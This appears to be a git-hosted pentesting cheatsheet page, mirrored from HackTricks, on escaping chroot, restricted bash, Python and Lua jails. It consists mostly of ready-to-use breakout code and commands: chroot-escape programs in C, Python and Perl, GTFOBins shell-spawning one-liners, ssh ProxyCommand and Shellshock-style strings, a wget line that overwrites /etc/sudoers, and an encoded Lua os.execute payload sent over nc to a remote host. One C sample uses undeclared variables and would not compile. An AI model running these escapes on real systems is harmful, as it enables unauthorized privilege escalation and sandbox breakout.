daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR
git clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
Log | Files | Refs | README | LICENSE

escaping-from-limited-bash.md (14053B)


      1 ---
      2 title: "Escaping from Jails"
      3 section: "Linux"
      4 sectionSlug: "linux-hardening"
      5 sourcePath: "src/linux-hardening/main-system-information/escaping-from-limited-bash.md"
      6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/linux-hardening/main-system-information/escaping-from-limited-bash.md"
      7 sha: "188de82beb54e70956b2952367a0af91d26758b8"
      8 isIndex: false
      9 modified: true
     10 license: "CC-BY-NC-4.0"
     11 ---
     12 
     13 # Escaping from Jails
     14 
     15 ## **GTFOBins**
     16 
     17 **Search in** [**https://gtfobins.github.io/**](https://gtfobins.github.io) **if you can execute any binary with "Shell" property**
     18 
     19 ## Chroot Escapes
     20 
     21 From [wikipedia](https://en.wikipedia.org/wiki/Chroot#Limitations): The chroot mechanism is **not intended to defend** against intentional tampering by **privileged** (**root**) **users**. On most systems, chroot contexts do not stack properly and chrooted programs **with sufficient privileges may perform a second chroot to break out**.\
     22 Usually this means that to escape you need to be root inside the chroot.<sup>[[4]](#references)</sup>
     23 
     24 > [!TIP]
     25 > The **tool** [**chw00t**](https://github.com/earthquake/chw00t) was created to abuse the following escenarios and scape from `chroot`.<sup>[[1]](#references)[[5]](#references)</sup>
     26 
     27 ### Root + CWD
     28 
     29 > [!WARNING]
     30 > If you are **root** inside a chroot you **can escape** creating **another chroot**. This because 2 chroots cannot coexists (in Linux), so if you create a folder and then **create a new chroot** on that new folder being **you outside of it**, you will now be **outside of the new chroot** and therefore you will be in the FS.
     31 >
     32 > This occurs because usually chroot DOESN'T move your working directory to the indicated one, so you can create a chroot but e outside of it.<sup>[[4]](#references)[[5]](#references)</sup>
     33 
     34 Usually you won't find the `chroot` binary inside a chroot jail, but you **could compile, upload and execute** a binary:
     35 
     36 <details>
     37 
     38 <summary>C: break_chroot.c</summary>
     39 
     40 ```c
     41 #include <sys/stat.h>
     42 #include <stdlib.h>
     43 #include <unistd.h>
     44 
     45 //gcc break_chroot.c -o break_chroot
     46 
     47 int main(void)
     48 {
     49     mkdir("chroot-dir", 0755);
     50     chroot("chroot-dir");
     51     for(int i = 0; i < 1000; i++) {
     52         chdir("..");
     53     }
     54     chroot(".");
     55     system("/bin/bash");
     56 }
     57 ```
     58 
     59 </details>
     60 
     61 <details>
     62 
     63 <summary>Python</summary>
     64 
     65 ```python
     66 #!/usr/bin/python
     67 import os
     68 os.mkdir("chroot-dir")
     69 os.chroot("chroot-dir")
     70 for i in range(1000):
     71     os.chdir("..")
     72 os.chroot(".")
     73 os.system("/bin/bash")
     74 ```
     75 
     76 </details>
     77 
     78 <details>
     79 
     80 <summary>Perl</summary>
     81 
     82 ```perl
     83 #!/usr/bin/perl
     84 mkdir "chroot-dir";
     85 chroot "chroot-dir";
     86 foreach my $i (0..1000) {
     87     chdir ".."
     88 }
     89 chroot ".";
     90 system("/bin/bash");
     91 ```
     92 
     93 </details>
     94 
     95 ### Root + Saved fd
     96 
     97 > [!WARNING]
     98 > This is similar to the previous case, but in this case the **attacker stores a file descriptor to the current directory** and then **creates the chroot in a new folder**. Finally, as he has **access** to that **FD** **outside** of the chroot, he access it and he **escapes**.<sup>[[4]](#references)[[5]](#references)</sup>
     99 
    100 <details>
    101 
    102 <summary>C: break_chroot.c</summary>
    103 
    104 ```c
    105 #include <sys/stat.h>
    106 #include <stdlib.h>
    107 #include <unistd.h>
    108 
    109 //gcc break_chroot.c -o break_chroot
    110 
    111 int main(void)
    112 {
    113     mkdir("tmpdir", 0755);
    114     dir_fd = open(".", O_RDONLY);
    115     if(chroot("tmpdir")){
    116         perror("chroot");
    117     }
    118     fchdir(dir_fd);
    119     close(dir_fd);
    120     for(x = 0; x < 1000; x++) chdir("..");
    121     chroot(".");
    122 }
    123 ```
    124 
    125 </details>
    126 
    127 ### Root + Fork + UDS (Unix Domain Sockets)
    128 
    129 > [!WARNING]
    130 > FD can be passed over Unix Domain Sockets, so:
    131 >
    132 > - Create a child process (fork)
    133 > - Create UDS so parent and child can talk
    134 > - Run chroot in child process in a different folder
    135 > - In parent proc, create a FD of a folder that is outside of new child proc chroot
    136 > - Pass to child procc that FD using the UDS
    137 > - Child process chdir to that FD, and because it's ouside of its chroot, he will escape the jail.<sup>[[5]](#references)[[6]](#references)</sup>
    138 
    139 ### Root + Mount
    140 
    141 > [!WARNING]
    142 >
    143 > - Mounting root device (/) into a directory inside the chroot
    144 > - Chrooting into that directory
    145 >
    146 > This is possible in Linux.<sup>[[5]](#references)</sup>
    147 
    148 ### Root + /proc
    149 
    150 > [!WARNING]
    151 >
    152 > - Mount procfs into a directory inside the chroot (if it isn't yet)
    153 > - Look for a pid that has a different root/cwd entry, like: /proc/1/root
    154 > - Chroot into that entry.<sup>[[4]](#references)[[5]](#references)[[7]](#references)</sup>
    155 
    156 ### Root(?) + Fork
    157 
    158 > [!WARNING]
    159 >
    160 > - Create a Fork (child proc) and chroot into a different folder deeper in the FS and CD on it
    161 > - From the parent process, move the folder where the child process is in a folder previous to the chroot of the children
    162 > - This children process will find himself outside of the chroot.<sup>[[5]](#references)</sup>
    163 
    164 ### ptrace
    165 
    166 > [!WARNING]
    167 >
    168 > - Whether a process can attach with `ptrace` depends on credentials, capabilities, and enabled security modules such as Yama; same-user debugging may therefore be restricted by system policy.<sup>[[8]](#references)</sup>
    169 > - If attachment is permitted, you could ptrace into a process and execute a shellcode inside of it ([see this example](/hacktricks/linux-hardening/interesting-files-permissions/linux-capabilities#cap_sys_ptrace)).<sup>[[5]](#references)[[8]](#references)</sup>
    170 
    171 ## Bash Jails
    172 
    173 ### Enumeration
    174 
    175 Get info about the jail:
    176 
    177 ```bash
    178 echo $0
    179 echo $SHELL
    180 echo $PATH
    181 env
    182 export
    183 pwd
    184 set -o
    185 compgen -c | sort -u
    186 enable -a
    187 type -a bash sh rbash ssh vi vim less more man awk find tar zip git scp script 2>/dev/null
    188 ```
    189 
    190 ### Modify PATH
    191 
    192 Check if you can modify the PATH env variable.<sup>[[2]](#references)</sup>
    193 
    194 ```bash
    195 echo $PATH #See the path of the executables that you can use
    196 PATH=/usr/local/sbin:/usr/sbin:/sbin:/usr/local/bin:/usr/bin:/bin #Try to change the path
    197 echo /home/* #List directory
    198 ```
    199 
    200 ### Using vim
    201 
    202 If Vim is available, set its `shell` option to a shell you can execute and invoke `:shell`.<sup>[[10]](#references)</sup>
    203 
    204 ```bash
    205 :set shell=/bin/sh
    206 :shell
    207 ```
    208 
    209 ### Pagers and help viewers
    210 
    211 A lot of restricted environments still leave **pagers** or **help viewers** available. Those are usually faster to abuse than trying to rebuild `PATH`.
    212 
    213 ```bash
    214 less /etc/hosts
    215 !/bin/sh
    216 
    217 man man
    218 !/bin/sh
    219 
    220 man '-H/bin/sh #' man
    221 ```
    222 
    223 If `git` is available, its `--paginate` option sends output to `less` or `$PAGER`, which is useful when a pager escape is available.<sup>[[9]](#references)</sup>
    224 
    225 ```bash
    226 PAGER='/bin/sh -c "exec sh 0<&1"' git -p help
    227 # Or: git help config
    228 # Then inside the pager: !/bin/sh
    229 ```
    230 
    231 ### Common GTFOBins one-liners
    232 
    233 Once you know which binaries are reachable, test the obvious shell spawners first:
    234 
    235 ```bash
    236 awk 'BEGIN {system("/bin/sh")}'
    237 find . -exec /bin/sh \; -quit
    238 tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh
    239 zip /tmp/zip.zip /etc/hosts -T --unzip-command='sh -c /bin/sh'
    240 script /dev/null -c bash
    241 ssh localhost /bin/sh
    242 ```
    243 
    244 If you can only **inject arguments** into an allowed command (instead of running it freely), also check **GTFOArgs**.<sup>[[17]](#references)</sup>
    245 
    246 ### Create script
    247 
    248 Check if you can create an executable file with _/bin/bash_ as content
    249 
    250 ```bash
    251 red /bin/bash
    252 > w wx/path #Write /bin/bash in a writable and executable path
    253 ```
    254 
    255 ### Get bash from SSH
    256 
    257 If you are accessing via ssh you can often ask the server to execute a **different program** instead of the restricted login shell.<sup>[[14]](#references)</sup>
    258 
    259 ```bash
    260 ssh -t user@<IP> bash # Get directly an interactive shell
    261 ssh user@<IP> -t "/bin/sh"
    262 ssh user@<IP> -t "bash --noprofile -i"
    263 ssh user@<IP> -t "() { :; }; sh -i "
    264 ```
    265 
    266 If `ssh` is one of the few locally allowed binaries, remember that it can also be abused as a **GTFOBin**; its `LocalCommand` and `ProxyCommand` options execute locally configured helper commands.<sup>[[14]](#references)[[15]](#references)</sup>
    267 
    268 ```bash
    269 ssh localhost /bin/sh
    270 ssh -o PermitLocalCommand=yes -o LocalCommand=/bin/sh localhost
    271 ssh -o ProxyCommand=';/bin/sh 0<&2 1>&2' x
    272 ```
    273 
    274 ### Declare
    275 
    276 In Bash, a nameref redirects assignments to another variable, while adding an element to `BASH_CMDS` adds that command to Bash's internal command hash table.<sup>[[11]](#references)[[12]](#references)</sup>
    277 
    278 ```bash
    279 declare -n PATH; export PATH=/bin;bash -i
    280 
    281 BASH_CMDS[shell]=/bin/bash;shell -i
    282 ```
    283 
    284 ### Wget
    285 
    286 Wget's `-O` option writes downloaded content to the specified output file; if that path is writable, this can overwrite a file such as `/etc/sudoers`.<sup>[[13]](#references)</sup>
    287 
    288 ```bash
    289 wget http://127.0.0.1:8080/sudoers -O /etc/sudoers
    290 ```
    291 
    292 ### Restricted shell wrappers (`git-shell`, `rssh`, `lshell`)
    293 
    294 Some environments do not drop you into plain `rbash`, but into **wrappers** such as `git-shell`, `rssh`, or `lshell`:
    295 
    296 - `git-shell` only accepts server-side Git commands plus anything present inside `~/git-shell-commands/`. If that directory exists, run `help` to enumerate the allowed custom actions. If you can **write** there, any executable dropped in that directory becomes reachable.<sup>[[3]](#references)</sup>
    297 - `rssh` / `lshell` commonly allow only `scp`, `sftp`, `rsync`, or Git-style operations. In those cases focus on **file write primitives** first: upload `authorized_keys`, a shell startup file, or a helper script into a writable location and then reconnect with `ssh -t ...`.
    298 - If the wrapper only filters the command line, enumerate the reachable binaries and then pivot back to **GTFOBins / GTFOArgs**.
    299 
    300 ### Other tricks
    301 
    302 Also check:
    303 
    304 - [**Fireshell Security - Restricted Linux Shell Escaping Techniques**](https://fireshellsecurity.team/restricted-linux-shell-escaping-techniques/)
    305 - [**SANS - Escaping Restricted Linux Shells**](https://www.sans.org/blog/escaping-restricted-linux-shells)
    306 - [**GTFOBins**](https://gtfobins.org/)
    307 - [**GTFOArgs**](https://gtfoargs.github.io/)
    308 
    309 **It could also be interesting the page:**
    310 
    311 [Bypass Linux Restrictions](/hacktricks/linux-hardening/linux-basics/bypass-linux-restrictions/overview)
    312 
    313 ## Python Jails
    314 
    315 Tricks about escaping from python jails in the following page:
    316 
    317 
    318 [Bypass Python Sandboxes](https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/generic-methodologies-and-resources/python/bypass-python-sandboxes/README.md)
    319 
    320 ## Lua Jails
    321 
    322 In this page you can find the global functions you have access to inside lua: [https://www.gammon.com.au/scripts/doc.php?general=lua_base](https://www.gammon.com.au/scripts/doc.php?general=lua_base).<sup>[[16]](#references)</sup>
    323 
    324 The standard `load`, `string.char`, and `os.execute` functions can build and run this chunk when they are available.<sup>[[16]](#references)</sup>
    325 
    326 ```bash
    327 load(string.char(0x6f,0x73,0x2e,0x65,0x78,0x65,0x63,0x75,0x74,0x65,0x28,0x27,0x6c,0x73,0x27,0x29))()
    328 ```
    329 
    330 A table function can also be retrieved with `rawget` instead of dot syntax.<sup>[[16]](#references)</sup>
    331 
    332 ```bash
    333 print(string.char(0x41, 0x42))
    334 print(rawget(string, "char")(0x41, 0x42))
    335 ```
    336 
    337 Use `pairs` to enumerate a library table.<sup>[[16]](#references)</sup>
    338 
    339 ```bash
    340 for k,v in pairs(string) do print(k,v) end
    341 ```
    342 
    343 The order in which `pairs` enumerates table indices is unspecified, so do not rely on a particular function appearing first. If you need to execute one specific function, you can perform a brute force attack by loading different lua environments and calling the first function of the library.<sup>[[16]](#references)</sup>
    344 
    345 ```bash
    346 #In this scenario you could BF the victim that is generating a new lua environment
    347 #for every interaction with the following line and when you are lucky
    348 #the char function is going to be executed
    349 for k,chr in pairs(string) do print(chr(0x6f,0x73,0x2e,0x65,0x78)) end
    350 
    351 #This attack from a CTF can be used to try to chain the function execute from "os" library
    352 #and "char" from string library, and the use both to execute a command
    353 for i in seq 1000; do echo "for k1,chr in pairs(string) do for k2,exec in pairs(os) do print(k1,k2) print(exec(chr(0x6f,0x73,0x2e,0x65,0x78,0x65,0x63,0x75,0x74,0x65,0x28,0x27,0x6c,0x73,0x27,0x29))) break end break end" | nc 10.10.10.10 10006 | grep -A5 "Code: char"; done
    354 ```
    355 
    356 **Get interactive lua shell**: If you are inside a limited lua shell you can get a new lua shell (and hopefully unlimited) by calling `debug.debug()`, which enters an interactive mode.<sup>[[16]](#references)</sup>
    357 
    358 ```bash
    359 debug.debug()
    360 ```
    361 
    362 ## References
    363 
    364 - [1] [Chw00t: How To Break Out from Various Chroot Solutions (Bucsay Balazs, DeepSec talk and slides)](https://www.youtube.com/watch?v=UO618TeyCWo)
    365 - [2] [GNU Bash Reference Manual – The Restricted Shell](https://www.gnu.org/software/bash/manual/html_node/The-Restricted-Shell.html)
    366 - [3] [git-shell – Git Documentation](https://git-scm.com/docs/git-shell)
    367 - [4] [chroot(2) – Linux manual page](https://man7.org/linux/man-pages/man2/chroot.2.html)
    368 - [5] [chw00t – chroot escape tool](https://github.com/earthquake/chw00t)
    369 - [6] [unix(7) – Linux manual page](https://man7.org/linux/man-pages/man7/unix.7.html)
    370 - [7] [proc_pid_root(5) – Linux manual page](https://man7.org/linux/man-pages/man5/proc_pid_root.5.html)
    371 - [8] [ptrace(2) – Linux manual page](https://man7.org/linux/man-pages/man2/ptrace.2.html)
    372 - [9] [git – Git Documentation](https://git-scm.com/docs/git)
    373 - [10] [:shell – Vim documentation](https://vimhelp.org/various.txt.html#%3Ashell)
    374 - [11] [Bash Builtins – GNU Bash Reference Manual](https://www.gnu.org/software/bash/manual/html_node/Bash-Builtins.html)
    375 - [12] [Bash Variables – GNU Bash Reference Manual](https://www.gnu.org/software/bash/manual/html_node/Bash-Variables.html)
    376 - [13] [GNU Wget Manual](https://www.gnu.org/software/wget/manual/wget.html)
    377 - [14] [ssh(1) – OpenBSD manual page](https://man.openbsd.org/ssh)
    378 - [15] [ssh_config(5) – OpenBSD manual page](https://man.openbsd.org/ssh_config)
    379 - [16] [Lua 5.4 Reference Manual](https://www.lua.org/manual/5.4/manual.html)
    380 - [17] [GTFOArgs: Argument Injection Exploitation Vector List](https://gtfoargs.github.io/)